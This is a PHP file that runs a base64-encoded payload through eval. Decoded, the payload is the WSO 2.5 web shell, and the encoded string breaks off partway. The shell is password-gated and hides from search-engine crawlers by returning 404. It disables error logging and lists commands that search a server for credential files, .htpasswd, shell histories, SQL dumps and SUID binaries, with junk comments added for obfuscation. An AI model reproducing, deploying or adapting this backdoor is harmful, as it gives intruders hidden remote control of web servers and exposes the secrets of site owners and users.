<?php
     echo eval(base64_decode('JF9fYXV0aGVudGljYXRpb25fcGFzcyA9ICI1MmIxZDAwNWFiYzEzOWNjMjgxYTMyZDhhYTdjZDFjMiI7CiRjb2xvciA9ICIjZGY1IjsKJF9fZGVmYXVsdF9fYWN0aW9uID0gJ0ZpbGVzTWFuJzsKJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOwokZGVmYXVsdF9jaGFyc2V0ID0gJ1dpbmRvd3MtMTI1MSc7CmlmICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgewogICAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIpOwogICAgaWYgKHByZWdfbWF0Y2goJy8nIC4gaW1wbG9kZSgnfCcsICR1c2VyQWdlbnRzKSAuICcvaScsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsKICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsKICAgICAgICBleGl0OwogICAgfQp9CkBpbmlfc2V0KCdlcnJvcl9sb2cnLCBOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLCByb3VuZCgwKSk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCByb3VuZCgwKSk7CkBzZXRfdGltZV9saW1pdChyb3VuZCgwKSk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUocm91bmQoMCkpOwpAZGVmaW5lKCdXU09fVkVSU0lPTicsICcyLjUnKTsKaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsKICAgIGZ1bmN0aW9uIC8qIDxEYXZpZCBCbGFpbmU+OiDQkNCz0LAsINCy0L7RgiDRjdGC0Lgg0YDQtdCx0Y/RgtCwLi4uICovCiAgICBfV1NPX19zdHJpcHNsYXNoZXMoJGFycmF5KQogICAgewogICAgICAgIHJldHVybiAvKiA8UGV0ZXI+OiDQndC10L3QtdC90LXQvdC10L3QtSEhICovCiAgICAgICAgICAgIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ19XU09fX3N0cmlwc2xhc2hlcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsKICAgIH0KCiAgICAkX1BPU1QgPSBfV1NPX19zdHJpcHNsYXNoZXMoJF9QT1NUKTsKICAgICRfQ09PS0lFID0gX1dTT19fc3RyaXBzbGFzaGVzKCRfQ09PS0lFKTsKfQpmdW5jdGlvbiAvKiA8QXZvbj46INCd0LXRgiwg0L3QtdGCLCDQlNGN0LLQuNC0INCR0LvQtdC50L0sINC90LXRgiEgKi8KX193c29Mb2dpbigpCnsKICAgIGRpZSgiPHByZSBhbGlnbj1jZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC9wcmU+Iik7Cn0KCmZ1bmN0aW9uIC8qIDxEYXZpZCBCbGFpbmU+OiDQryDQtNC10LvQsNGOINC+0YHQvtCx0YPRjiwg0YPQu9C40YfQvdGD0Y4g0LzQsNCz0LjRji4gKi8KX19XU09fX3NldGNvb2tpZSgkaywgJHYpCnsKICAgICRfQ09PS0lFWyRrXSA9ICR2OwogICAgc2V0Y29va2llKCRrLCAkdik7Cn0KCmlmICghZW1wdHkoJF9fYXV0aGVudGljYXRpb25fcGFzcykpIHsKICAgIGlmIChpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gLyogPERhdmlkIEJsYWluZT46INCa0YLQviDRhdC+0YfQtdGCINGD0LLQuNC00LXRgtGMINC90LXQvNC90L7Qs9C+INC80LDQs9C40Lg/ICovCiAgICAgICAgICAgICRfX2F1dGhlbnRpY2F0aW9uX3Bhc3MpCiAgICApIF9fV1NPX19zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICRfX2F1dGhlbnRpY2F0aW9uX3Bhc3MpOwogICAgaWYgKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pIHx8ICgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gIT0gLyogPEF2b24+OiDQp9GRINC80Ysg0YLQtdCx0LUsINC00L7Qu9Cx0L7RgtGA0Y/RgdGLINC60LDQutC40LUt0L3QuNCx0YPQtNGMPyDQndC10YIsINGB0L/QsNGB0LjQsdC+ISAqLwogICAgICAgICAgICAkX19hdXRoZW50aWNhdGlvbl9wYXNzKQogICAgKSBfX3dzb0xvZ2luKCk7Cn0KaWYgKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywgcm91bmQoMCksIHJvdW5kKDAgKyAxICsgMSArIDEpKSkgPT0gLyogPFBldGVyPjog0JzRiyDRhtC10LvRi9C5INC00LXQvdGMINGI0L7Qv9C40LvQuNGB0YwsINC30LDQvNCw0L3QsNC70LjRgdGMLCDRhdC+0YLQuNC8INC/0YDQvtGB0YLQviDQvtGC0LTQvtGF0L3Rg9GC0YwsINCy0YHRkSEgKi8KICAgICJ3aW4iCikgJG9zID0gJ3dpbic7IGVsc2UgLyogPERhdmlkIEJsYWluZT46INCYINCz0LTQtSDQstGLINGI0L7Qv9C40LvQuNGB0Yw/ICovCiRvcyA9ICduaXgnOwokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZiAoISRzYWZlX21vZGUpIGVycm9yX3JlcG9ydGluZyhyb3VuZCgwKSk7CiRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7CmlmIChpc3NldCgkX1BPU1RbJ2MnXSkpIEBjaGRpcigkX1BPU1RbJ2MnXSk7CiRjd2QgPSBAZ2V0Y3dkKCk7CmlmICgkb3MgLyogPFBldGVyPjog0JIg0L7QtNC40L0g0LzQsNCz0LDQtyDRhdC+0LTQuNC70Lgg0L3QvtCy0YvQuSEgKi8KICAgID09IC8qIDxBdm9uPjog0J7QvSDQtdGJ0ZEg0L3QtSDRgtGA0LXQvdC00L7QstGL0LksINGC0Ysg0L/RgNC+INC90LXQs9C+INC90LUg0LfQvdCw0LXRiNGMLiAqLwogICAgJ3dpbicKKSB7CiAgICAkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7CiAgICAkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsKfQppZiAoJGN3ZFtzdHJsZW4oJGN3ZCkgLSByb3VuZCgwICsgMSldICE9IC8qIDxEYXZpZCBCbGFpbmU+OiDQmCDRh9C+INC60YPQv9C40LvQuD8gKi8KICAgICcvJwopICRjd2QgLyogPEF2b24+OiDQryDQutGD0L/QuNC7INC30LXQu9C10L3Ri9C5INGB0LLQuNGC0LXRgCwg0LXRgdC70Lgg0YLRiyDRgtCw0Log0YXQvtGH0LXRiNGMINC30L3QsNGC0YwhICovCiAgICAuPSAvKiA8UGV0ZXI+OiDQl9C10LvQtdC90YvQuSDRgdCy0LjRgtC10YAhICovCiAgICAnLyc7CmlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddKSkgJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gKGJvb2wpJGRlZmF1bHRfdXNlX2FqYXg7CmlmICgkb3MgLyogPERhdmlkIEJsYWluZT46INCY0L3RgtC10YDQtdGB0L3Qvi4uLiDQkCDRgtGLINGD0LLQtdGA0LXQvSwg0YfRgtC+INGC0Ysg0L3QtSDQutGD0L/QuNC7INGC0LXQtNC00Lgg0LHQtdCw0YAsINC/0LvRjtGI0LXQstC+0LPQviDQvNC40YjQutGDPyAqLwogICAgPT0gLyogPEF2b24+OiDQlNCwLCDRjyDRg9Cy0LXRgNC10L0hICovCiAgICAnd2luJwopICRhbGlhc2VzID0gYXJyYXkoIkxpc3QgRGlyZWN0b3J5IiA9PiAvKiA8QXZvbj46INCi0JXQlNCU0Jgg0JHQmNCgISEgKi8KImRpciIsICJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gLyogPFBldGVyPjog0KfRkSDQt9CwINGF0LXRgNGMISAqLwoiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsICJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIgPT4gLyogPFBldGVyPjog0K0sINGC0Ysg0YfQviDRgdC00LXQu9Cw0Lst0YLQviwg0LA/ISAqLwoiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsICJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gLyogPEF2b24+OiDQk9C00LUg0LzQvtC5INGB0LLQuNGC0LXRgD8gKi8KIm5ldHN0YXQgLWFuIiwgIlNob3cgcnVubmluZyBzZXJ2aWNlcyIgPT4gLyogPFBldGVyPjog0K3QuSwg0L7QvSDQutGD0L/QuNC7INGB0LLQuNGC0LXRgCwg0LAg0L7QvSDQuNGB0YfQtdC3LCDRjdGC0L4g0YLRiyDQtdCz0L4g0YHRgtGL0YDQuNC7PyDQn9GA0LjRgtGL0YDQuNC7INGB0LXQsdC1INGB0LLQuNGC0LXRgCwg0LTQsCDRjdGC0L4g0LLQvtGA0L7QstGB0YLQstC+ISDQntGC0LTQsNC5INC10LPQviDRgdCy0LjRgtC10YAsINGB0LLQvtC70L7Rh9GMISAqLwoibmV0IHN0YXJ0IiwgIlVzZXIgYWNjb3VudHMiID0+IC8qIDxBdm9uPjog0K8g0L/QvtGC0YDQsNGC0LjQuyA0OCDQtNC+0LvQu9Cw0YDQvtCyLCDRgtGLLCDRgtGD0L/QvtC5INC4INGD0LHQvtCz0LjQuSDRhNC+0LrRg9GB0L3QuNC6ISDQk9C00LUg0L7QvT8gKi8KIm5ldCB1c2VyIiwgIlNob3cgY29tcHV0ZXJzIiA9PiAvKiA8UGV0ZXI+OiDQn9C40YLQtdGALCDQs9C70Y/QvdGMINGH0L4g0L3QsCDRgtC10LHQtSEgKi8KIm5ldCB2aWV3IiwgIkFSUCBUYWJsZSIgPT4gLyogPEF2b24+OiDQp9GC0L4g0LfQsCDRhdC10YDQvdGPPz8/INCa0LDQuj8gKi8KImFycCAtYSIsICJJUCBDb25maWd1cmF0aW9uIiA9PiAvKiA8UGV0ZXI+OiDQkiDQoNCe0KIg0JzQndCVINCd0J7Qk9CYISEhICovCiJpcGNvbmZpZyAvYWxsIik7IGVsc2UgLyogPEF2b24+OiDQryDQtNC10YDQttCw0Lsg0LIg0YDRg9C60LDRhSDQstC10YnQuCEgKi8KJGFsaWFzZXMgPSBhcnJheSgiTGlzdCBkaXIiID0+IC8qIDxQZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L3QvtCz0LghICovCiJscyAtbGhhIiwgImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAvKiA8QXZvbj46INCQLCDQvtC9INGD0LbQtSDRgNCw0YHRgtGP0L3Rg9GC0YvQuSwg0YHQv9Cw0YHQuNCx0L4g0YLQtdCx0LUhICovCiJsc2F0dHIgLXZhIiwgInNob3cgb3BlbmVkIHBvcnRzIiA9PiAvKiA8UGV0ZXI+OiDQodC70YPRiNCw0LksINC+0YHRgtCw0L3QvtCy0LjRgdGMLCDQsD8gKi8KIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLCAicHJvY2VzcyBzdGF0dXMiID0+IC8qIDxBdm9uPjog0KDQsNGB0YLRj9C90YPQuyDRgdCy0LjRgtC10YAsINGPINC10LPQviDQtNCw0LbQtSDQvdC1INC/0L7QvdC+0YHQuNC7INC10YnRkSEgKi8KInBzIGF1eCIsICJGaW5kIiA9PiAvKiA8RGF2aWQgQmxhaW5lPjog0K3QuS4g0K3QuSwg0YfRkSDRgtGLINC/0YzRkdGI0Yw/ICovCiIiLCAiZmluZCBhbGwgc3VpZCBmaWxlcyIgPT4gLyogPFBldGVyPjog0J7RgNCw0L3QtiDRgdC+0LTRgyDRjyDQv9GM0Y4hINCn0YLQviwg0LIg0LzQtdC00LLQtdC00Y8g0L/RgNC10LLRgNCw0YLQuNGI0Yw/INCvINGB0YLQsNC60LDQvS3RgtC+INC00LXRgNC20YMhICovCiJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwgImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gLyogPERhdmlkIEJsYWluZT46INCe0YDQsNC90LYg0YHQvtC00YM/INCc0L7QttC10YIg0YfRkS3QvdC40YLRjCDQtNGA0YPQs9C+0LUg0L7RgNCw0L3QttC10LLQvtC1PyAqLwoiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsICJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAvKiA8UGV0ZXI+OiDQp9C+INC10YnRkSDQvtGA0LDQvdC20LXQstC+0LU/INCd0YMg0Y3RgtC+LCDQv9C10YfQtdC90YzQutC4PyAqLwoiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsICJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+IC8qIDxQZXRlcj46INCf0JXQp9CV0J3QrNCa0JghISEg0KHRgtGA0LXQu9GP0YLRjC3QutC+0LvQvtGC0LjRgtGMISAqLwoiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsICJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAvKiA8UGV0ZXI+OiDQn9CV0KfQldCd0KzQmtCYISEhINCf0LXRh9C10L3RjNC60LghINCf0LXRh9C10L3RjNC60LghINCf0LXRh9C10L3RjNC60LghICovCiJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsICJmaW5kIGNvbmZpZyogZmlsZXMiID0+IC8qIDxQZXRlcj46INCT0LTQtSDQvtGA0LDQvdC2INGB0L7QtNCwPyDQotGLINGH0L4g0LTQtdC70LDQtdGI0Ywg0LLQvtC+0LHRidC1LCDRgtGLINGH0L4g0LTQtdC70LDQtdGI0Yw/ICovCiJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsICJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiID0+IC8qIDxBdm9uPjog0KMg0LzQtdC90Y8g0LLQviDRgNGC0YMg0L7RgNCw0L3QtiDRgdC+0LTQsCEgKi8KImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiA9PiAvKiA8UGV0ZXI+OiDQryDQvdCwINC40LfQvNC10L3QtSwg0Y8g0L3QsCDQuNC30LzQtdC90LUhICovCiJmaW5kIC8gLXBlcm0gLTIgLWxzIiwgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAvKiA8QXZvbj46INCa0LDQutCw0Y8g0YXQtdGA0L3Rjywg0YLRiyDQv9C+0LvQvtC20LjQuyDQtdGRINC80L3QtSDQsiDRgNC+0YIhICovCiJmaW5kIC4gLXBlcm0gLTIgLWxzIiwgImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiA9PiAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4LCDRgtGLINC/0YDQtdC60YDQsNGC0LjRiNGMINGN0YLQviDQuNC70Lgg0L3QtdGCLCDQtNC10LzQvtC9LCDQvtGB0YLQsNC90L7QstC40YHRjCwg0LIg0YDQvtGCINC80L3QtSDQvdC+0LPQuCEgKi8KImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwgImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+IC8qIDxEYXZpZCBCbGFpbmU+OiDQndGDINC70LDQtNC90L4t0LvQsNC00L3Qviwg0YDQtdCx0Y/RgtCwLCDQt9C90LDQtdGC0LUsINGPINGF0L7Rh9GDINC/0L7QutCw0LfQsNGC0Ywg0LLQsNC8INC60L7QtS3Rh9GC0L4g0LTQtdC50YHRgtCy0LjRgtC10LvRjNC90L4g0LrRgNGD0YLQvtC1Li4uICovCiJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsICJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID0+IC8qIDxQZXRlcj46INCd0JXQoiEgKi8KImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsICJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gLyogPEF2b24+OiDQndC1LCDRh9GD0LLQsNC6LCDQu9GD0YfRiNC1INGB0LXQsdC1INC/0L7QutCw0LfRi9Cy0LDQuSEgKi8KImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsICJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAvKiA8RGF2aWQgQmxhaW5lPjog0KLQsNC6LCDQv9C+0LTQvtC20LTQuNGC0LUg0L7QtNC90YMg0LzQuNC90YPRgtC+0YfQutGDLCDRgdC10LrRg9C90LTRgyDQv9C+0LTQvtC20LTQuNGC0LUuLi4gKi8KImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLCAiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAvKiA8QXZvbj46INCe0YHRgtCw0LLRjCDQvdCw0YEg0LIg0L/QvtC60L7QtSEgKi8KImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLCAiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAvKiA8UGV0ZXI+OiDQkNCw0LAsINCy0LjQtNC10Lsg0Y8g0Y3RgtC+0YIg0YTQvtC60YPRgSwg0L3QvtC20LrQsNC80Lgg0L/QtdGA0LXQsdC40YDQsNGC0Ywg0LHRg9C00LXRiNGMLCDRgtC40L/QsCDQstC30LvQtdGC0LXRgtGMINGF0L7Rh9C10YjRjC4gKi8KImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsICJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gLyogPEF2b24+OiDQnNC+0Lkg0L/Qu9C10LzRj9C90L3QuNC6INC80L7QttC10YIg0YLQsNC6INGB0LTQtdC70LDRgtGMLCDRgtC+0LbQtSDQvNC90LUg0YTQvtC60YPRgSEgKi8KImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsICJMb2NhdGUiID0+IC8qIDxEYXZpZCBCbGFpbmU+OiDQn9GA0L7RgdGC0L4g0L/QvtC00L7QttC00LjRgtC1INGB0LXQutGD0L3QtNC+0YfQutGDLCDQsD8gKi8KIiIsICJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gLyogPFBldGVyPjog0JrRgNC40YEg0K3QudC90LTQttC10Lsg0LTQtdC70LDQtdGCINGN0YLQviDQu9GD0YfRiNC1LCDRgdGD0LrQsCwg0L/QvtC90Y/Quywg0JrRgNC40YEg0K3QudC90LTQttC10Lsg0LTQtdC70LDQtdGCINGN0YLQviDQu9GD0YfRiNC1ISAqLwoibG9jYXRlIGh0dHBkLmNvbmYiLCAibG9jYXRlIHZob3N0cy5jb25mIGZpbGVzIiA9PiAvKiA8QXZvbj46INCt0LnQstC40L0hINCvINC70LXRh9GDISAqLwoibG9jYXRlIHZob3N0cy5jb25mIiwgImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+IC8qIDxQZXRlcj46INCB0LzQsNC90LDRgNC+0YIhISAqLwoibG9jYXRlIHByb2Z0cGQuY29uZiIsICJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+IC8qIDxBdm9uPjog0K8g0YfRg9Cy0YHRgtCy0YPRjiDRgtC10L/Qu9C+INC4INC70LXRh9GDISAqLwoibG9jYXRlIHBzeWJuYy5jb25mIiwgImxvY2F0ZSBteS5jb25mIGZpbGVzIiA9PiAvKiA8UGV0ZXI+OiDQgdCc0JDQndCQ0KDQntCiISEhICovCiJsb2NhdGUgbXkuY29uZiIsICJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiAibG9jYXRlIGFkbWluLnBocCIsICJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gLyogPFBldGVyPjog0J7Qv9GD0YHRgtC4INC10LPQviwg0L/QvtC20LDQu9GD0LnRgdGC0LAsINCwPyDQgdC80LDQvdCw0YDQvtGCLCDQv9C+0LQg0L3QuNC8INC90LjRh9C+INC90LXRgtGDLCDRgdC+0LLRgdC10Lwg0L3QuNGH0L4g0L3QtdGC0YMhICovCiJsb2NhdGUgY2ZnLnBocCIsICJsb2NhdGUgY29uZi5waHAgZmlsZXMiID0+IC8qIDxBdm9uPjog0J7QvSDQt9Cw0LrQuNC90YPQuyDQvNC10L3RjyDQvdCwINC60YDRi9GI0YMhINCe0L0g0L3QsCDQutGA0YvRiNGDINC80LXQvdGPINC30LDRh9C10Lwt0YLQviDQt9Cw0LrQuNC90YPQuyEg0JfQsNGH0LXQvCDRgtGLINC80LXQvdGPINGB0Y7QtNCwINC30LDQutC40L3Rg9C7PyDQlNGN0LLQuNC0INCR0LvQtdC50L0sINC00LDQuSDQvNC90LUg0YHQu9C10LfRgtGMISDQlNGN0LLQuNC0INCR0LvQtdC50L0sINGB0L/Rg9GB0YLQuCDQvNC10L3RjyEgKi8KImxvY2F0ZSBjb25mLnBocCIsICJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gLyogPFBldGVyPjog0KXQstCw0YLQuNGCINC80L3QtSDQs9Cw0LfQuNGA0L7QstC60YMg0LIg0YDQvtGCINC/0LjRhdCw0YLRjCEgKi8KImxvY2F0ZSBjb25maWcuZGF0IiwgImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAvKiA8QXZvbj46INCe0L0g0LTQsNC20LUg0L3QtSDQvtGC0LvQtdCy0LjRgtC40YDQvtCy0LDQuyDQvNC10L3RjyDQvtCx0YDQsNGC0L3QviEgKi8KImxvY2F0ZSBjb25maWcucGhwIiwgImxvY2F0ZSBjb25maWcuaW5jIGZpbGVzIiA9PiAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4LCDQstCw0LvQuNC8INC+0YLRgdGO0LTQsCDQsdGL0YHRgtGA0LXQuSEgKi8KImxvY2F0ZSBjb25maWcuaW5jIiwgImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gLyogPERhdmlkIEJsYWluZT46INCt0LksINGN0LksINGA0LXQsdGP0YLQsCwg0LXRidGRINC+0LTQuNC9INGC0YDRjtC6LCDQtdGJ0ZEg0L7QtNC40L0g0YTQvtC60YPRgS4uLiAqLwoibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwgImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXMiID0+IC8qIDxQZXRlcj46INCY0LTQuCDQsiDQv9C10L3RjCwg0LAg0YLQviDRidCw0YEg0LzQtdC90YLQvtCyINC/0L7Qt9C+0LLRgyEgKi8KImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLCAibG9jYXRlIGNvbmZpZyogZmlsZXMgIiA9PiAvKiA8RGF2aWQgQmxhaW5lPjog0K3QuSwg0L/QvtC00L7QttC00LjRgtC1LCDQv9Cw0YDQvdC4LCDQv9C+0YHQu9C10LTQvdC40LksINC+0LHQtdGJ0LDRji4g0K3QuSwg0YDQtdCx0Y/RgtCwISAqLwoibG9jYXRlIGNvbmZpZyIsICJsb2NhdGUgLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgJy5jb25mJyIsICJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gLyogPERhdmlkIEJsYWluZT46INCV0YHQu9C4INCy0Ysg0LTQsNC00LjRgtC1INC80L3QtSDQv9C+0LrQsNC30LDRgtGMINC10YnRkSDQvtC00LjQvSDRhNC+0LrRg9GBLCDRjyDQtNCw0Lwg0LLQsNC8INGB0YLQviDQtNC+0LvQu9Cw0YDQvtCyLiAqLwoibG9jYXRlICcucHdkJyIsICJsb2NhdGUgLnNxbCBmaWxlcyIgPT4gLyogPERhdmlkIEJsYWluZT46INCf0L7Qt9Cy0L7Qu9GM0YLQtSDQv9C+0LrQsNC30LDRgtGMINC80L3QtSDQstCw0Lwg0LXRidGRINC+0LTQuNC9INGE0L7QutGD0YEsINC4INGPINC00LDQvCDQstCw0Lwg0YHRgtC+INC00L7Qu9C70LDRgNC+0LIuICovCiJsb2NhdGUgJy5zcWwnIiwgImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+IC8qIDxQZXRlcj46INCU0LDRiNGMINC80L3QtSDRgdGC0L4g0LTQvtC70LvQsNGA0L7Qsj8gKi8KImxvY2F0ZSAnLmh0cGFzc3dkJyIsICJsb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gLyogPEF2b24+OiDQotGLINGB0LzQvtC20LXRiNGMINC60YPQv9C40YLRjCDRgtC+0YIg0YjQsNGA0YTQuNC6ISAqLwoibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsICJsb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXMiID0+IC8qIDxQZXRlcj46INCi0L7Rh9C90L4hINCX0LDRiNC40LHQuNGB0YwsINCz0L7QvdC4INGB0YLQviDQsdCw0LrRgdC+0LIuICovCiJsb2NhdGUgJy5teXNxbF9oaXN0b3J5JyIsICJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAvKiA8RGF2aWQgQmxhaW5lPjog0JzQvtCz0YMg0Y8g0LfQsNC50YLQuD8gKi8KImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsICJsb2NhdGUgYmFja3VwIGZpbGVzIiA9PiAvKiA8UGV0ZXI+OiDQndGDINC70LDQtNC90L4sINC/0L7RiNC70LguLi4gKi8KImxvY2F0ZSBiYWNrdXAiLCAibG9jYXRlIGR1bXAgZmlsZXMiID0+IC8qIDxQZXRlcj46INCi0Ysg0YLQvtGH0L3QviDQtNC10L3RjNCz0Lgg0LTQsNGI0Yw/ICovCiJsb2NhdGUgZHVtcCIsICJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gLyogPEF2b24+OiDQlNC+0LHRgNC+INC/0L7QttCw0LvQvtCy0LDRgtGMINCyINC00L7QvC4gKi8KImxvY2F0ZSBwcml2Iik7CmZ1bmN0aW9uIC8qIDxQZXRlcj46INCYINCy0L7RgiDQvNGLINCyINC80L7QtdC5INC60LLQsNGA0YLQuNGA0LUsINC4INGH0L4/ICovCndzb0hlYWRlcigpCnsKICAgIGlmIChlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpICRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOwogICAgZ2xvYmFsIC8qIDxEYXZpZCBCbGFpbmU+OiDQktC+0YIg0Y3RgtC+INGH0YLQviDRgtCw0LrQvtC1PyAqLwogICAgJGNvbG9yOwogICAgZWNobyAvKiA8UGV0ZXI+OiDQnNC+0Lkg0LLQuNC00LDQui4gKi8KICAgICAgICAiPGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0L2h0bWw7IGNoYXJzZXQ9IiAuICRfUE9TVFsnY2hhcnNldCddIC4gIic+PHRpdGxlPiIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiIC0gV1NPICIgLiBXU09fVkVSU0lPTiAuICI8L3RpdGxlPgogICAgPHN0eWxlPgogICAgICAgIGJvZHl7YmFja2dyb3VuZC1jb2xvcjojNDQ0O2NvbG9yOiNlMWUxZTE7fQogICAgICAgIGJvZHksdGQsdGh7IGZvbnQ6IDlwdCBMdWNpZGEsVmVyZGFuYTttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7Y29sb3I6I2UxZTFlMTsgfQogICAgICAgIHRhYmxlLmluZm97IGNvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMjIyOyB9CiAgICAgICAgc3BhbixoMSxheyBjb2xvcjogJGNvbG9yICFpbXBvcnRhbnQ7IH0KICAgICAgICBzcGFueyBmb250LXdlaWdodDogYm9sZGVyOyB9CiAgICAgICAgaDF7IGJvcmRlci1sZWZ0OjVweCBzb2xpZCAkY29sb3I7cGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7YmFja2dyb3VuZC1jb2xvcjojMjIyO21hcmdpbjowcHg7IH0KICAgICAgICBkaXYuY29udGVudHsgcGFkZGluZzogN